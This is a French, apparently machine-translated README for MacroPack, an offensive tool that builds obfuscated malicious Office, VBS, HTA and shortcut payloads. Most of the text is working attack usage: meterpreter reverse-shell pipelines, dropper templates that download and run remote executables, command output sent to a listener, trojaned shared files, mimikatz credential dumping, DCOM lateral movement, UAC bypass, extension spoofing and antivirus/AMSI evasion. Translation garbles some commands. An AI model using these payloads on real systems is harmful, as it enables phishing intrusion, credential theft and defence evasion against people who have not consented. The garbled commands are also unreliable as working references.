MacroPack Community est un outil utilisé pour automatiser l'obscurcissement et la génération de formats rétro tels que les documents MS Office ou le format de type VBS. Il gère également divers formats de raccourcis. Cet outil peut être utilisé pour le red teaming, les pentests, les démonstrations et les évaluations d'ingénierie sociale. MacroPack simplifiera le contournement des solutions antimalware et automatisera le processus depuis la source vb jusqu'au document Office final ou à tout autre type de charge utile. Son utilisation est très simple :
Aucune configuration requise
Tout peut être fait en utilisant une seule ligne de code
Génération de la majorité des formats Office et des formats basés sur VBS
Charges utiles conçues pour les attaques avancées d’ingénierie sociale (email, clé USB, etc.)
L'outil est compatible avec les charges utiles générées par les outils pentest populaires (Metasploit, Empire, ...). Il est également facile à combiner avec d'autres outils car il est possible de lire les entrées depuis stdin et d'avoir une sortie silencieuse vers un autre outil. Cet outil est écrit en Python3 et fonctionne à la fois sur les plateformes Linux et Windows
Remarque : Une plate-forme Windows avec les bonnes applications MS Office installées est requise pour la génération automatique de documents Office ou les fonctionnalités de cheval de Troie.
L’outil utilisera diverses techniques d’obscurcissement, toutes automatiques. Les fonctionnalités d'obscurcissement sont compatibles avec tous les formats basés sur VBA et VBS qui peuvent être générés par MacroPack.
L'obscurcissement de base (option -o) comprend :
Renommer les fonctions
Renommer les variables
Supprimer des espaces
Supprimer des commentaires
Encodage des chaînes
MacroPack peut générer plusieurs types de formats de documents et de scripts MS Office. Le format sera automatiquement deviné en fonction de l'extension de fichier donnée. La génération de fichiers se fait à l'aide de l'option --generate ou -G.
La version pro de MacroPack vous permet également de cheval de Troie sur des fichiers Office existants avec l'option --trojan ou -T.
Les formats pris en charge par Ms Office sont :
MS Word (.doc, .docm, .docx, .dotm)
MS Excel (.xls, .xlsm, .xslx, .xltm)
MS PowerPoint (.pptm, .potm)
MS Access (.accdb, .mdb)
MS Visio (.vsd,.vsdm)
MS Projet (.mpp)
Les formats pris en charge par les scripts (txt) sont :
Fichier texte VBA (.vba)
Fichier texte VBS (.vbs).
Fichier de script Windows (.wsf)
Scriptlets des composants de script Windows (.wsc, .sct)
Applications HTML (.hta)
Feuille de style XSLT (.xsl) (Oui MS XSLT contient des scripts ^^)
Les formats de raccourcis/Shell pris en charge sont :
Lien Shell (.lnk)
Fichier de commandes de l'explorateur (.scf)
Raccourci URL (.url)
Raccourcis Groove (.glk)
Raccourcis de paramètres (.settingcontent-ms)
Bibliothèque MS (.library-ms)
Informations de configuration (.inf)
Requête Web Excel (.iqy)
Projet Visual Studio (.csproj)
Ligne de commande (.cmd)
SYmbolic Link (.slk) version Pro uniquement
Aide HTML compressée (.chm) Version Pro uniquement
Notez que tous les formats de scripts et de raccourcis (sauf LNK) peuvent également être générés sur la version Linux de MacroPack.
Ce logiciel doit être utilisé uniquement dans le contexte d'un engagement Red Team, de tests d'intrusion, de simulation de phishing, de recherches de sécurité ou de toute autre forme d'évaluation de sécurité, avec l'autorisation légale et formelle des propriétaires du système. L'utilisation de ce logiciel pour attaquer des cibles sans consentement préalable est interdite et illégale. Il est de la responsabilité de l'utilisateur de se conformer à toutes les lois locales, étatiques, fédérales et nationales applicables.
Nous n'assumons aucune responsabilité et ne sommes pas responsables de toute mauvaise utilisation ou de tout dommage pouvant être causé par l'utilisation de ce logiciel.
Toutes les fonctionnalités et options de MacroPack ne sont pas disponibles sur MacroPack Community. Seule la version communautaire est disponible en ligne. Les fonctionnalités de la version pro « militarisent » véritablement le processus, leur accès est donc réservé aux professionnels.
Le mode pro comprend des fonctionnalités telles que :
Contournement avancé des logiciels anti-programme malveillant
Méthodes avancées d’injection de Shellcode
Obscurcissement de la ligne de commande (Dosfuscation)
Contournement ASR et AMSI
Charges utiles VBA/VBS à déballage automatique
Documents MS Office, fichiers d'aide et projets Visual Studio existants.
Intégrer la charge utile du leurre
Mouvement latéral à l'aide d'objets DCOM
Anti-ingénierie inverse
Détection du bac à sable
Prise en charge de davantage de formats tels qu'Excel 4.0 SYLK et des fichiers d'aide compilés
Exécutez une charge utile VB avancée à partir de formats inhabituels
Modèles armés et modèles supplémentaires (ex EMPIRE, AUTOSHELLCODE)
Macros Excel 4.0 (XLM)
Et bien plus encore…
Quelques courtes vidéos de démonstration sont disponibles sur la chaîne BallisKit Vimeo.
Important : Si vous souhaitez me contacter à propos de MacroPack pro, utilisez mon adresse e-mail emeric.nasi [at] sevagas.com. Je ne répondrai pas aux demandes anonymes pour la version Pro mais uniquement aux emails professionnels.
Obtenez le dernier binaire sur https://github.com/sevagas/macro_pack/releases/
Téléchargez le binaire sur PC avec le véritable Microsoft Office installé.
Ouvrez la console, CD dans le répertoire binaire et appelez le binaire, c'est aussi simple que ça !
macro_pack.exe --aide
Vous devez être sur une machine Windows pour créer MacroPack. Téléchargez et installez les dépendances :
git clone https://github.com/sevagas/macro_pack.gitcd macro_pack pip3 install -r exigences.txt
L'outil est en python 3, alors commencez simplement par votre installation python3. ex:
python3 macro_pack.py --help# orpython macro_pack.py --help # si python3 est l'installation par défaut
Si vous souhaitez produire un exe autonome à l'aide de pyinstaller :
Installer pyinstaller : pip install pyinstaller
Double-cliquez sur le script "build.bat".
Le macro_pack.exe résultant se trouvera dans le répertoire bin .
Répertorier tous les formats de fichiers pris en charge
macro_pack.exe --listformats
Répertorier tous les modèles disponibles
macro_pack.exe --listtemplates
Obscurcit le fichier vba généré par msfvenom et place le résultat dans un nouveau fichier VBA.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
Obscurcir le fichier VBA Empire stager et générer un document MS Word :
macro_pack.exe -f empire.vba -o -G monDoc.docm
Générez un fichier MS Excel contenant un compte-gouttes obscurci (téléchargez payload.exe et stockez-le sous drop.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Créer un document Word 97 contenant une charge utile de compteur inverse VBA obscurcie dans un dossier partagé
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G REMOTE-PCSharemeter.doc
Téléchargez et exécutez Empire Launcher stager sans powershell.exe en utilisant le modèle DROPPER_PS
# 1 Générez un fichier contenant le lanceur Empire # 2 Rendre ce fichier disponible sur le serveur Web, par exemple avec netcat :{ echo -ne "HTTP/1.0 200 OKrnrn"; chat empire_stager.cmd; } | nc -l -p 6666 -q1# 3 Utilisez macro_pack pour générer la charge utile DROPPER_PS dans le fichier Excelecho http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 Lorsqu'elle est exécutée sur la cible, la macro téléchargera PowerShdll, l'exécutera avec rundll32, puis téléchargera et exécutera stager.
Exécuter calc.exe via une attaque Dynamic Data Exchange (DDE)
echo calc.exe | macro_pack.exe --dde -G calc.xslx
Téléchargez et exécutez le fichier via PowerShell à l'aide de l'attaque Dynamic Data Exchange (DDE)
# 1 Modifiez l'URL du fichier cible dans resourcescommunityps_dl_exec.cmd# 2 Intégrez le téléchargement, exécutez cmd dans documentmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Exécutez la commande (notepad.exe) via le fichier de requête Web Excel et DDE
# 1 Créez le fichier dde.dat avec next content=cmd|' /c notepad.exe'!A1# 2 Hébergez dde.dat sur le serveur Web, ex. en utilisant macro_pack -l# 3 Générer .iqy filemacro_pack.exe -G dde.iqy
Générez un fichier TCP VBS inversé Meterpreter obscurci et exécutez-le
# 1 Générer du VBS obscurci basé sur le modèle Meterpreter ainsi que sur la ressource Metasploit fileecho| macro_pack.exe -t METERPRETER -o -G compteur.vbs # 2 Sur la machine de l'attaquant, configurer l'écouteur Meterpreter msfconsole -r meterpreter.rc # 3 Exécutez le fichier VBS avec wscript (exécutez wscript 32 bits car la charge utile de Meterpreter est de 32 bits)%windir%SysWoW64wscript meter.vbs
Générez un fichier HTA obscurci qui exécute "systeminfo" et renvoie le résultat à un autre macro_pack écoutant sur 192.168.0.5
# 1 Générez un fichier HTA avec REMOTE_CMD templateecho http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 Sur 192.168.0.5, ouvrez macro_pack en tant qu'écouteur http macro_pack.exe -l . --port=1234# 3 exécute le fichier hta avec mshta mshta.exe complet/chemin/vers/info.hta
Générer un raccourci URL qui exécute un fichier HTA local lorsque vous cliquez dessus
echo "fichier://C:UtilisateursusernameDesktophello.hta" | macro_pack.exe -G yop.url
Générer un raccourci lnk qui exécute une cmd exécutant calc.exe avec l'icône calc.exe
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk
Cheval de Troie le fichier partagé "report.xlsm" existant avec un compte-gouttes. Utilisez les fonctionnalités anti-AV et anti-inverse.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
Générez un fichier Word contenant la charge utile VBA du compteur inversé x64 auto-encodé en VBA (contournera la plupart des AV). Keep-alive est nécessaire car nous avons besoin de Meterpreter pour rester en vie avant de migrer.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
Cheval de Troie : un fichier PowerPoint avec un shellcode brut inversé. La macro est obscurcie et mutilée pour contourner AMSI et la plupart des antivirus.
écho balise.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
Exécutez une macro sur un PC distant à l'aide de DCOM.
REM Étape 1 : Assurez-vous d'avoir suffisamment de droits. Utilisez 192.168.0.8c$ /user:domainusername passwordREM Étape 2 : Générez un document, par exemple ici, meterpreter reverse TCP Excel fileecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsmREM Étape 3 : Copiez le document quelque part sur un partage distant meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM Étape 4 : Exécutez !macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM Étapes 2 à 4 en une seule étape :echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
Les modèles peuvent être appelés en utilisant -t, --template=TEMPLATE_NAME combiné avec d'autres options.
Voici tous les modèles disponibles.
Imprimez simplement un message de bonjour et une sensibilisation à la macro.
Donnez à ce modèle le nom ou l'e-mail de l'auteur :
-> Exemple : echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Exécutez une commande.
Donnez à ce modèle une ligne de commande
-> Exemple (pop calc.exe à partir du fichier xslt) : echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Exécutez une ligne de commande et envoyez les résultats au serveur HTTP distant.
Donnez à ce modèle l'URL du serveur et la commande à exécuter :
-> Exemple : echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# Récupérez le résultat avec n'importe quel serveur Web ou netcatnc -l -p 7777
Téléchargez et exécutez un fichier.
Donnez à ce modèle l'URL du fichier et le chemin du fichier cible
-> Exemple : echo
Téléchargez et exécutez le script Powershell à l'aide de rundll32 (pour contourner powershell.exe bloqué).
Remarque : Cette charge utile téléchargera PowerShdll depuis Github.
Donnez à ce modèle l'URL du script PowerShell que vous souhaitez exécuter :
-> Exemple : echo "
Téléchargez une DLL avec une autre extension et exécutez-la à l'aide d'Office VBA.
-> Exemple, chargez la DLL Meterpreter à l'aide d'Office :
REM Générer la dll meterpreter payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dllREM Le rendre disponible sur le serveur Web, en utilisant netcat sur le port 6666{ echo -ne "HTTP/1.0 200 OKrnrn" ; chat mètre.dll; } | nc -l -p 6666 -q1REM Créer un fichier OFfice qui téléchargera la DLL et l'appelleraREM L'URL de la DLL est http://192.168.0.5:6666/normal.html et elle sera enregistrée sous le nom de fichier .asd echo "http://192.168 .0.5:6666/normal.html" Exécuter | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Modèle TCP inversé Meterpreter utilisant MacroMeter par Cn33liz.
Ce modèle est CSharp Meterpreter Stager construit par Cn33liz et intégré dans VBA à l'aide de DotNetToJScript de James Forshaw.
Donnez à ce modèle l'IP et le PORT de la mfsconsole d'écoute :
-> Exemple : echo
Ce modèle génère également un fichier meterpreter.rc pour créer le gestionnaire Metasploit
-> Exemple : msfconsole -r meterpreter.rc
Déposez et exécutez un fichier intégré.
Combinez avec l'option --embed, il supprimera et exécutera le fichier intégré avec un nom aléatoire dans le dossier TEMP.
-> Exemple : macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
Combinez avec l'option --embed, il supprimera et appellera une fonction dans la DLL donnée.
Donnez à ce modèle le nom et les paramètres de la fonction à appeler dans la DLL
-> Exemple1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Exemple 2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Les différentes fonctionnalités ont été testées par rapport aux solutions Antimalware installées localement ainsi qu'aux services en ligne. J'ai effectué plusieurs tests avec plusieurs types de charges utiles et de fonctionnalités MacroPack. La majorité des parasites antivirus seront évités par la simple option « obscurcir ». Cependant, comme la plupart des outils gratuits, les charges utiles sont généralement détectées par une analyse comportementale telle que AMSI. Les fonctionnalités disponibles en mode MacroPack pro permettent généralement un contournement AV complet, y compris AMSI.
Attention : Ne soumettez pas vos échantillons aux scanners en ligne (ex VirusTotal), c'est le meilleur moyen de casser votre macro furtive. Je vous suggère également de ne pas vous soumettre à des sites sans rapport tels que NoDistribute. Vous ne pouvez pas être sûr de ce que ces sites feront des données que vous soumettez. Si vous rencontrez un problème avec la détection macro_pack AV, vous pouvez nous écrire pour obtenir des conseils ou soumettre un problème ou une pull request.
Articles de blog sur MacroPack Pro :
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (charges utiles Excel 4.0 dans MacroPack Pro)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (injection XLM dans MacroPack Pro)
Articles de blog sur le piratage avec MS Office, VBS et d'autres éléments de sécurité rétro :
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (écrire un RAT VBA complet, incluant comment contourner la protection VBOM)
http://blog.sevagas.com/?Hacking-around-HTA-files (exécutez le code hta dans les fichiers non-hta et les polyglottes hta)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (À propos des attaques Dynamic Data Exchange)
https://enigma0x3.net/2017/09/11/latéral-movement-using-excel-application-and-dcom/
Autres liens utiles :
https://github.com/p3nt4/PowerShdll (Exécutez PowerShell avec des DLL uniquement)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Exécuter le script PowerShell avec l'implémentation PowerShdll VBA)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
N'hésitez pas à m'envoyer un message sur mon compte Twitter @EmericNasi
E-mails :
emeric.nasi[ sur ]sevagas.com
ena.sevagas[ sur ]protonmail.com
Important : Si vous souhaitez me contacter à propos de MacroPack pro, utilisez mon adresse e-mail sevagas.com. Veuillez également noter que je ne répondrai pas aux demandes anonymes pour la version Pro, uniquement aux e-mails professionnels.
La licence Apache 2.0
Copyright 2017,2018,2019,2020,2021,2022 Emeric « Sio » Nasi (blog.sevagas.com)